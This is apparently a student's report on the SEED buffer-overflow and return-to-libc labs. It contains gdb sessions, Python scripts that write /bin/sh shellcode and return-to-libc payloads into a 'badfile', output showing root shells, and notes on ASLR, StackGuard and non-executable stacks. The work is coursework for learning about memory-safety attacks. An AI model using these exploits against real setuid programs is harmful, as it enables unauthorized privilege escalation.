Buffer Overflow Vulnerability Lab

Task1: Running Shellcode

```
[09/03/20]seed@VM:~/lab1$ gedit call_shellcode.c
[09/03/20]seed@VM:~/lab1$ gcc -z execstack -o call_shellcode call_shellcode.c
[09/03/20]seed@VM:~/lab1$ cal
cal              calibrate_ppa   call_shellcode
calendar         caller
[09/03/20]seed@VM:~/lab1$ call_shellcode
$
```

from the picture above ,we can see that when we run the program, we enter in the shell

Task2: Exploiting the Vulnerability

1、calculate the distance between ebp and buffer address

```
Breakpoint 1, bof (str=0xbfffea77 "") at stack.c:12
12        strcpy(buffer, str);
gdb-peda$ p $ebp
$1 = (void *) 0xbfffea38
gdb-peda$ p &buffer
$2 = (char (*)[24]) 0xbfffea18
gdb-peda$ p/d $ebp-&buffer
First argument of `-' is a pointer and second argument is neither
an integer nor a pointer of the same type.
gdb-peda$ p/d 0xbfffea38-0xbfffea18
$3 = 32
gdb-peda$
```

we use gdb to implement it, first we lay a breakpoint in function bof by command:`b bof` and run， then the gdb will stop in the bof, we use command `print` to observe the address of ebp and buffer, calculate the distance between them(32)

2、badfile

```python
#!/usr/bin/python3
import sys
shellcode= (
        "\x31\xc0" # xorl %eax,%eax
        "\x50" # pushl %eax
        "\x68""//sh" # pushl $0x68732f2f
        "\x68""/bin" # pushl $0x6e69622f
        "\x89\xe3" # movl %esp,%ebx
        "\x50" # pushl %eax
        "\x53" # pushl %ebx
        "\x89\xe1" # movl %esp,%ecx
        "\x99" # cdq
        "\xb0\x0b" # movb $0x0b,%al
        "\xcd\x80" # int $0x80
        "\x00"
).encode('latin-1')
# Fill the content with NOP's
content = bytearray(0x90 for i in range(517))
# Put the shellcode at the end
start = 517 - len(shellcode)
content[start:] = shellcode
########################################################################
ret = 0xbfffea38+100     # replace 0xAABBCCDD with the correct value
offset = 36              # replace 0 with the correct value
# Fill the return address field with the address of the shellcode
content[offset:offset + 4] = (ret).to_bytes(4,byteorder='little')
########################################################################

# Write the content to badfile
with open('badfile', 'wb') as f:
        f.write(content)
```

Second,we exploit python script to edit bad file, we only need to change the value of ret and offset.

```
offset=(ebp-buffer address)+4
ret=ebp address+100
```

3、get root privilege

```
[09/03/20]seed@VM:~/lab1$ gedit exploit.py
[09/03/20]seed@VM:~/lab1$ exploit.py        ① py create badfile
[09/03/20]seed@VM:~/lab1$ ls
badfile          call_shellcode.c  peda-session-stack_dgb.txt  stack    stack_dgb
call_shellcode   exploit.py        peda-session-stack.txt      stack.c
[09/03/20]seed@VM:~/lab1$ sta
stack                  startNetworkServer    startx              static-sh
stack_dgb              start-pulseaudio-x11  startxfce4          status
start                  start-stop-daemon     stat
[09/03/20]seed@VM:~/lab1$ stack   ② execute stack to read badfile, get root right
# id
uid=1000(seed) gid=1000(seed) euid=0(root) groups=1000(seed),4(adm),24(cdrom),27(sudo),30(dip),46
(plugdev),113(lpadmin),128(sambashare)
#
```

Last, we compile and run exploit.py and stack in turn, from the picture above, we can see that we got the root privilege

Task3: Defeating dash's Countermeasure

1、comment setuid()

```
[09/03/20]seed@VM:~/lab1$ gedit dash_shell_test.c
[09/03/20]seed@VM:~/lab1$ gcc -o test1 dash_shell_test.c
[09/03/20]seed@VM:~/lab1$ sudo chown root test1
[09/03/20]seed@VM:~/lab1$ sudo chmod 4755 test1
[09/03/20]seed@VM:~/lab1$ test1
$
```

```
[09/03/20]seed@VM:~/lab1$ test1
$ whoami
seed
$ 
```

Firstly, we comment the setuid(0) and run program, we find we get the seed shell

2、uncomment setuid()

```
[09/03/20]seed@VM:~/lab1$ gcc -o test2  dash_shell_test.c
[09/03/20]seed@VM:~/lab1$ test2
$ exit
[09/03/20]seed@VM:~/lab1$ chown root test2
chown: changing ownership of 'test2': Operation not permitted
[09/03/20]seed@VM:~/lab1$ sudo chown root test2
[09/03/20]seed@VM:~/lab1$ sudo chmod 4755 test2
[09/03/20]seed@VM:~/lab1$ test2
# 
```

```
[09/03/20]seed@VM:~/lab1$ test2
# whoami
root
# 
```

when we uncomment the setuid(0), we find that we get the root shell

3、modify exploit.py and run

```
Open ▾
#!/usr/bin/python3
import sys
shellcode= (
        "\x31\xc0" #Line 1: xorl %eax,%eax
        "\x31\xdb" #Line 2: xorl %ebx,%ebx
        "\xb0\xd5" #Line 3: movb $0xd5,%al
        "\xcd\x80" #Line 4: int $0x80

        "\x31\xc0" # xorl %eax,%eax
        "\x50" # pushl %eax
        "\x68""//sh" # pushl $0x68732f2f
        "\x68""/bin" # pushl $0x6e69622f
        "\x89\xe3" # movl %esp,%ebx
        "\x50" # pushl %eax
        "\x53" # pushl %ebx
        "\x89\xe1" # movl %esp,%ecx
        "\x99" # cdq
        "\xb0\x0b" # movb $0x0b,%al
        "\xcd\x80" # int $0x80
        "\x00"
).encode('latin-1')
# Fill the content with NOP’s
content = bytearray(0x90 for i in range(517))
# Put the shellcode at the end
start = 517 - len(shellcode)
content[start:] = shellcode
#########################################################################
ret = 0xbfffea38+100     # replace 0xAABBCCDD with the correct value
offset = 36              # replace 0 with the correct value
# Fill the return address field with the address of the shellcode
content[offset:offset + 4] = (ret).to_bytes(4,byteorder='little')
#########################################################################
```

Firstly, we modify the exploit.py

```
[09/03/20]seed@VM:~/lab1$ exploit.py
[09/03/20]seed@VM:~/lab1$ stack
# whoami
root
# id
uid=0(root) gid=1000(seed) groups=1000(seed),4(adm),24(cdrom),27(sudo),30(dip),46(plugde
v),113(lpadmin),128(sambashare)
#
```

when we run the stack,we found that we get the root shell bacasue the command setuuid(0) modify the real uid to root uid.

Task4: Defeating Address Randomization

```
./test.sh: line 12: 21228 Segmentation fault      ./stack
9 minutes and 13 seconds elapsed.
The program has been running 47459 times so far.
./test.sh: line 12: 21230 Segmentation fault      ./stack
9 minutes and 13 seconds elapsed.
The program has been running 47460 times so far.
./test.sh: line 12: 21231 Segmentation fault      ./stack
9 minutes and 13 seconds elapsed.
The program has been running 47461 times so far.
./test.sh: line 12: 21232 Segmentation fault      ./stack
9 minutes and 13 seconds elapsed.
The program has been running 47462 times so far.
./test.sh: line 12: 21233 Segmentation fault      ./stack
9 minutes and 13 seconds elapsed.
The program has been running 47463 times so far.
./test.sh: line 12: 21235 Segmentation fault      ./stack
9 minutes and 13 seconds elapsed.
The program has been running 47464 times so far.
#
```

From the picture above, we find that we get the root shell after 47464 running times.As a result of the address randomization, the esp address and buffer address differ every time, and the content in badfile is the same. But after many times of execution, the random address and the address in badfile may be the same. This is a brute force search method.

Task5: Turn on the StackGuard Protection

```
[09/03/20]seed@VM:~/lab1$ gcc -o stack_task5 -z execstack stack.c
[09/03/20]seed@VM:~/lab1$ ls
badfile            dash_shell_test.c          stack        test1
call_shellcode     exploit.py                 stack.c      test2
call_shellcode.c   peda-session-stack_dgb.txt stack_dgb    test.sh
dash_shell_test1   peda-session-stack.txt     stack_task5
[09/03/20]seed@VM:~/lab1$ stack_task5
*** stack smashing detected ***: stack_task5 terminated
Aborted
[09/03/20]seed@VM:~/lab1$
```

After execution, we found that an error was reported as smashing detected.

Task6: Turn on the Non-executable Stack Protection

```
Breakpoint 1, bof (
    str=0xbfffead7 '\220' <repeats 36 times>, "\234\352\377\277", '\220' <repeats 160 times>...) at stack.c:12
12      strcpy(buffer, str);
gdb-peda$ p $ebp
$1 = (void *) 0xbfffea98
gdb-peda$ p &buffer
$2 = (char (*)[24]) 0xbfffea78
gdb-peda$ p/d 0xbfffea98-0xbfffea78
$3 = 32
gdb-peda$
```

calculate the distance between ebp and buffer

```python
#!/usr/bin/python3
import sys
shellcode= (
        "\x31\xc0" #Line 1: xorl %eax,%eax
        "\x31\xdb" #Line 2: xorl %ebx,%ebx
        "\xb0\xd5" #Line 3: movb $0xd5,%al
        "\xcd\x80" #Line 4: int $0x80

        "\x31\xc0" # xorl %eax,%eax
        "\x50" # pushl %eax
        "\x68""//sh" # pushl $0x68732f2f
        "\x68""/bin" # pushl $0x6e69622f
        "\x89\xe3" # movl %esp,%ebx
        "\x50" # pushl %eax
        "\x53" # pushl %ebx
        "\x89\xe1" # movl %esp,%ecx
        "\x99" # cdq
        "\xb0\x0b" # movb $0x0b,%al
        "\xcd\x80" # int $0x80
        "\x00"
).encode('latin-1')
# Fill the content with NOP's
content = bytearray(0x90 for i in range(517))
# Put the shellcode at the end
start = 517 - len(shellcode)
content[start:] = shellcode
##########################################################################
ret = 0xbfffea98+100    # replace 0xAABBCCDD with the correct value
offset = 36             # replace 0 with the correct value
# Fill the return address field with the address of the shellcode
content[offset:offset + 4] = (ret).to_bytes(4,byteorder='little')
##########################################################################

# Write the content to badfile
with open('badfile', 'wb') as f:
        f.write(content)
```

modify the exploit.py

```
[09/03/20]seed@VM:~/lab1$ gedit exploit.py
[09/03/20]seed@VM:~/lab1$ explo
explode      explode.py   exploit.py
[09/03/20]seed@VM:~/lab1$ exploit.py
[09/03/20]seed@VM:~/lab1$ stack_task6
Segmentation fault
[09/03/20]seed@VM:~/lab1$
```

run the stack_task6, we found a error reported as segmention fault. Because the Non-executable mechanism makes the certain areas of memory as non-executable.

Return-to-libc Attack Lab

Task1: Finding out the addresses of libc functions

```
[------------------------------------stack-------------------------------------]
0000| 0xbfffec90 --> 0x90909090
0004| 0xbfffec94 --> 0x90909090
0008| 0xbfffec98 --> 0xbfffeafc --> 0x1
0012| 0xbfffec9c --> 0x90909090
0016| 0xbfffeca0 --> 0x90909090
0020| 0xbfffeca4 --> 0x90909090
0024| 0xbfffeca8 --> 0x90909090
0028| 0xbfffecac --> 0x90909090
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x90909090 in ?? ()
gdb-peda$ p system
$1 = {<text variable, no debug info>} 0xb7e42da0 <__libc_system>
gdb-peda$ p exit
$2 = {<text variable, no debug info>} 0xb7e369d0 <__GI_exit>
gdb-peda$
```

we can see that:

1. the address of system() is 0xb7e42da0
2. the address of exit() is 0xb7e369d0

Task2: Putting the shell string in the memory

1. export the environment variables

```
[09/04/20]seed@VM:~/lab1$ export MYSHELL=/bin/sh
[09/04/20]seed@VM:~/lab1$ env |grep MYSHELL
MYSHELL=/bin/sh
```

2. put the string into memory

```
[09/04/20]seed@VM:~/lab2$ a.out
bffffdd8
[09/04/20]seed@VM:~/lab2$ a.out
bffffdd8
[09/04/20]seed@VM:~/lab2$
```

```
gdb-peda$ find 0xb7d82540,+5000000,"/bin/sh"
Searching for '0xb7d82540,+5000000,/bin/sh' in: None ranges
Search for a pattern in memory; support regex search
Usage:
    searchmem pattern start end
    searchmem pattern mapname

gdb-peda$ searchmem "/bin/sh" 0xb7d82540
Searching for '/bin/sh' in range: 0xb7d6a000 - 0xb7f19000
Found 1 results, display max 1 items:
libc : 0xb7ec582b ("/bin/sh")
```

Task3: Exploiting the buffer-overflow vulnerability

1. Firstly， we calcualte the distance between the $ebp and buffer address. From the picture below, we get the result as 20

   ```
   Breakpoint 1, bof (badfile=0x804b008) at retlib.c:13
   13      fread(buffer, sizeof(char), 300, badfile);
   gdb-peda$ p $ebp
   $1 = (void *) 0xbfffec28
   gdb-peda$ p &buffer
   $2 = (char (*)[12]) 0xbfffec14
   gdb-peda$ p/d 0xbfffec28-0xbfffec14
   $3 = 20
   gdb-peda$
   ```

2. **/bin/sh**
   - sh_addr=0xbfffdd8
   - X=20+12=32, because this can cover the address of argument of function system
3. **system()**

   from the above disscussion:

   - system_addr=0xb7e42da0
   - Y=20+4， bacause this can cover the return address of bof
4. **exit()**
   - exit_dir=0xb7e369d0
   - Z=20+8=28, because this can cover the return address of system, make the system exit
5. **run and get root shell**
   - py script

test.py (~/lab2) - gedit

```
#!/usr/bin/python3
import sys
# Fill content with non-zero values
content = bytearray(0xaa for i in range(300))

X=32
sh_addr = 0xbffffdd8 # The address of "/bin/sh"
content[X:X+4] = (sh_addr).to_bytes(4,byteorder='little')

Y=24
system_addr = 0xb7e42da0 # The address of system()
content[Y:Y+4] = (system_addr).to_bytes(4,byteorder='little')

Z=28
exit_addr = 0xb7e369d0 # The address of exit()
content[Z:Z+4] = (exit_addr).to_bytes(4,byteorder='little')
# Save content to a file
with open("badfile", "wb") as f:
        f.write(content)
```

- get root shell?

老师，在这里我碰到了问题，在填写完badfile后，运行a.out没有任何输出而是直接结束了，如下图：

```
gdb-peda$ q
[09/05/20]seed@VM:~/lab2$
[09/05/20]seed@VM:~/lab2$ a.out
[09/05/20]seed@VM:~/lab2$
```

我用gdb查看时，看到了覆盖的地址时没问题的，如下面的图，按道理逻辑是对的，但是没有输出现在我也不知道怎么回事，希望老师抽空给解答。

```
   0xb7da4dac <__libc_system+12>:      add    edx,0x177254
   0xb7da4db2 <__libc_system+18>:      test   eax,eax
[-------------------------------------stack-------------------
0000| 0xbfffec30 --> 0xb7d989d0 (<__GI_exit>:    call   0xb7e8
thunk.ax>)
0004| 0xbfffec34 --> 0xbffffdee ("/bin/sh")
0008| 0xbfffec38 --> 0xaaaaaaaa
0012| 0xbfffec3c --> 0xaaaaaaaa
```

为了解决这个问题，我在retlib.c加上了下面这段直接获得了/bin/sh的地址，将地址修改为这个又好了，现在不是很理解

```c
int bof(FILE *badfile) {
char buffer[BUF_SIZE];
/* The following statement has a buffer overflow problem */
fread(buffer, sizeof(char), 300, badfile);

return 1;
}

int main(int argc, char **argv)
{
char* shell = (char *)getenv("MYSHELL");
if (shell)
printf("%x\n", (unsigned int)shell);

FILE *badfile;
/* Change the size of the dummy array to randomize the parameters for this lab. N
least once */
char dummy[BUF_SIZE*5];
memset(dummy, 0, BUF_SIZE*5);

badfile = fopen("badfile", "r");
bof(badfile);

printf("Returned Properly\n");
```

运行结果

```
[09/05/20]seed@VM:~/lab2$ retlib
bffffdd6
# id
uid=1000(seed) gid=1000(seed) euid=0(root) groups=1000(seed),4(adm),24(cdrom),27
(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
# exit
```

Task4 Turning on address randomization

```
[09/05/20]seed@VM:~/lab2$ sudo sysctl -w kernel.randomize_va_space=2
kernel.randomize_va_space = 2
[09/05/20]seed@VM:~/lab2$ retlib
bfb73dd6
Segmentation fault
[09/05/20]seed@VM:~/lab2$
```